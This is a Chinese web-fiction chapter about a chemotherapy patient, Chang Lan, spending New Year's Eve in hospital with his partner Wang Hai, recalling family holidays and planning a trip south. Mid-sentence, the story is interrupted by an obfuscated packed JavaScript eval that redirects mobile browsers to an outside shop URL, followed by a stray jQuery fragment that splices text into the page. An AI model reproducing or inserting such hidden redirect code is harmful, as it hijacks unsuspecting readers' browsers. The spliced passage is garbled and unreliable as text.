除夕那天，城市从清晨就开始热闹起来。苌斓靠在病床上，隔着双层玻璃窗，也能听见街头巷尾此起彼伏的爆竹声。护士推门进来时，脸上带着平日没有的喜气，白大褂口袋里露出一截红色的利是封。走廊里不知谁的家属拎着大包小包匆匆走过，保温袋的拉链没拉好，露出里面红彤彤的春联和福字贴。
“新年好。”护士把针头扎进他手背的留置针接口，动作很轻。苌斓回了一句新年好，声音被监护仪的滴答声盖住了大半。
临近中午，阳光终于穿透了灰蒙蒙的云层，照在住院部楼下的院子里。家属们三三两两地推着轮椅，把能下床的病人带到花园里透气。有个小孩穿着大红色的棉袄在雪地上跑，手里举着一只纸风车，风车被北风吹得呼啦啦转。他的笑声又尖又脆，穿透了玻璃，穿透了药水的滴答声，一直传进病房里。
下午，化疗药物的副作用像潮水一样涌上来。恶心先来，胃里翻江倒海，苌斓趴在床边对着垃圾桶干呕。他吐完之后靠在床头闭着眼睛，脸色比枕头套还白。忘海倒了一杯温水放在他手边，他没有喝，只是把杯子捧在手心里暖着。然后是疼痛——骨头深处那种钝痛又开始作祟，像一把生锈的锯子在骨髓里来回锯动。他侧躺着，把被子拉到下巴，没有出声。
傍晚，窗外传来一阵特别响亮的爆竹声，紧接着是烟花升空的尖啸。第一朵烟花在灰蓝色的天幕上炸开，金色的，像一朵盛开的菊花。然后是第二朵、第三朵，红色的、绿色的、银白色的，一簇一簇在夜空中绽放，照亮了整条梧桐道，照亮了医院灰白的墙壁，照亮了病房里那张小小的床头柜。
苌斓侧过头看着窗外，烟花的色彩在他瞳孔里明明灭灭。他说，外面好热闹。往年除夕我们也热闹过——我爸在厨房里炸春卷，我妈在旁边包饺子，两个人在厨房里因为馅的咸淡拌嘴。你坐在沙发上帮我绕毛线团，绕得比我绕的还乱。客厅里电视开着，茶几上摆满了花生瓜子，春联是我爸写的，灯笼是我挂的，穗子捋得整整齐齐。现在那对灯笼还在储物间里，穗子歪了没人捋。
他说话的时候声音很平静，但手不自觉地攥紧了被角。窗外又一朵烟花炸开，这次是银色的，像满天的星星突然坠落。他想起小时候——不是那个有父亲母亲的童年，是更早的、在养父母家的除夕。养母让他一个人在厨房洗碗，客厅里养父母和亲戚们推杯换盏，笑声穿过紧闭的厨房门传进来。洗洁精用完了没人买，他用手蘸着冷水搓盘子上的油污，手指冻得通红。窗外的烟花也是这么亮，这么热闹，但那些光只照亮了他的手，没有照亮他的脸。
现在他有了可以团圆的人——忘海在床边陪着他，床头柜上摆着忘海从超市买来的水果和面包，输液架上挂着一个很小的红灯笼。可他困在这张病床上，身上连着输液管，化疗药物正顺着血管流遍全身，把每一寸骨头都泡在酸痛里。他多想站起来走到窗边，把脸贴在玻璃上看烟花；多想走到厨房里帮父亲炸春卷，帮母亲包饺子，帮忘海把绕乱的毛线团解开。春节就在这里，热闹就在窗外，他却只能躺着，让这些声音从耳朵里流进去又从眼睛里流出来。
天色渐渐暗下来，苌斓靠在病床上，腿上盖着那条灰色薄毯。他沉默了很久，久到忘海以为他睡着了。然后他忽然开口，说想回家过年。不是回那个有养父母的“家”，是回那个有父亲和母亲的家——父亲在厨房里炸春卷，母亲在旁边包饺子，两个人在厨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724425|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
房里因为馅的咸淡拌嘴。忘海坐在沙发上帮他绕毛线团，绕得比他绕的还乱。客厅里电视开着，茶几上摆满了花生瓜子，春联是父亲写的，灯笼是他挂的，穗子捋得整整齐齐。他说，那是他这辈子唯一一次真正在家里过的年，只有一个，就一个。
忘海沉默了很久，然后站起来走到床边，握住苌斓攥着被角的那只手，把那只手从被子上拿下来，贴在自己嘴唇上。他说，等这次化疗结束，等指标稳定下来，我们就去南方看海。明年除夕包荠菜馅的春卷，每一个都捏十二个褶子，比饺子还多一个。苌斓的睫毛轻轻颤了一下，说荠菜冬天不好买。忘海说那就买白菜猪肉的。苌斓说化疗期间吃不出味道。忘海停了一下，说那就包好看的，不图味道，图好看。
苌斓侧头看着他。十二个褶子的春卷，亏你想得出来。他嘴上这么说，嘴角却极淡极淡地弯了一下。他说，明年除夕不想在医院过了，想去南方，去一个冬天不冷的地方，不用穿羽绒服，不用戴帽子。忘海说好，明年去南方看海。苌斓说你答应过很多事了，要堆雪人，要看玉兰花，要补一碗冰粉。忘海说每一件都记得：雪人等雪停了就堆，玉兰花等春天开了就看，冰粉等夏天到了就做，大海等明年除夕就去看。每一年都有要等的事，每一件事都会等到。
窗外又是一朵烟花炸开，这一次是红色的，暖红的光映在病房的白色墙壁上，映在苌斓苍白的脸上。他靠在忘海肩上，看着那朵烟花慢慢消散成无数细小的火星。他们一起安安静静地看着窗外。没有春晚，没有团圆饭，只有一个红灯笼和几个超市塑料袋里的年货。但他们的手叠在一起，十指交扣，戒指碰着戒指。他说过年好。忘海说过年好，明年去南方。